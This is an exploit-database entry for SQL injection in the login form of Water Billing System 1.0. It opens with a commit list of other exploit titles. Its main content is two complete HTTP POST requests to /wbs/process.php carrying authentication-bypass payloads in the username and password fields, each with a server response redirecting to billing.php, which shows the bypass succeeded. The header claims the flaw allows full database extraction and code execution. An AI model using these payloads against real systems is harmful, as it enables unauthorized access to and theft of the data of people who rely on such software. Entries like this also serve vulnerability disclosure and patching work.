ccc8fe2331
7 changes to exploits/shellcodes Nidesoft 3GP Video Converter 2.6.18 - Local Stack Buffer Overflow WordPress Plugin Simple File List 5.4 - Arbitrary File Upload WordPress Plugin Simple File List 4.2.2 - Arbitrary File Upload Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection Wordpress Plugin Good LMS 2.1.4 - 'id' Unauthenticated SQL Injection WordPress Plugin Simple File List 5.4 - Remote Code Execution WordPress Plugin Simple File List 4.2.2 - Remote Code Execution
71 lines
No EOL
2.9 KiB
Text
71 lines
No EOL
2.9 KiB
Text
# Exploit Title: Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection
|
|
# SQL Injection in 'username' and 'password' parameters allows attacker to run the SQL commands on the victim to extract entire DB. In advanced exploitation, an attacker can run the arbitrary code on the victim system to compromise it...
|
|
# Exploit Author: Sarang Tumne (CyberInsane)
|
|
# Date: 4th Nov, 2020
|
|
# Confirmed on release 1.0
|
|
# Tested on: Windows Server 2016- XAMPP
|
|
# Vendor: https://www.sourcecodester.com/php/14560/water-billing-system-phpmysqli-full-source-code.html
|
|
###############################################
|
|
|
|
POST /wbs/process.php HTTP/1.1
|
|
Host: 192.168.56.102:8080
|
|
Content-Length: 45
|
|
Cache-Control: max-age=0
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://192.168.56.102:8080
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Referer: http://192.168.56.102:8080/wbs/
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Connection: close
|
|
|
|
username='%20or%200%3d0%20#&password=password
|
|
|
|
Response:
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Mon, 02 Nov 2020 04:30:51 GMT
|
|
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30
|
|
X-Powered-By: PHP/7.2.30
|
|
Set-Cookie: PHPSESSID=4q8t10sshr36he7sl19hb563a0; path=/
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate
|
|
Pragma: no-cache
|
|
Content-Length: 48
|
|
Connection: close
|
|
Content-Type: text/html; charset=UTF-8
|
|
|
|
<script>windows: location="billing.php"</script>
|
|
=========================================================================
|
|
POST /wbs/process.php HTTP/1.1
|
|
Host: 192.168.56.102:8080
|
|
Content-Length: 48
|
|
Cache-Control: max-age=0
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://192.168.56.102:8080
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Referer: http://192.168.56.102:8080/wbs/
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Connection: close
|
|
|
|
username=admin&password=a'%20or%20'a'%20%3d%20'a
|
|
|
|
Response:
|
|
HTTP/1.1 200 OK
|
|
Date: Mon, 02 Nov 2020 04:30:49 GMT
|
|
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30
|
|
X-Powered-By: PHP/7.2.30
|
|
Set-Cookie: PHPSESSID=34a478h4bhtliatg8l71kmp10r; path=/
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate
|
|
Pragma: no-cache
|
|
Content-Length: 48
|
|
Connection: close
|
|
Content-Type: text/html; charset=UTF-8
|
|
|
|
<script>windows: location="billing.php"</script> |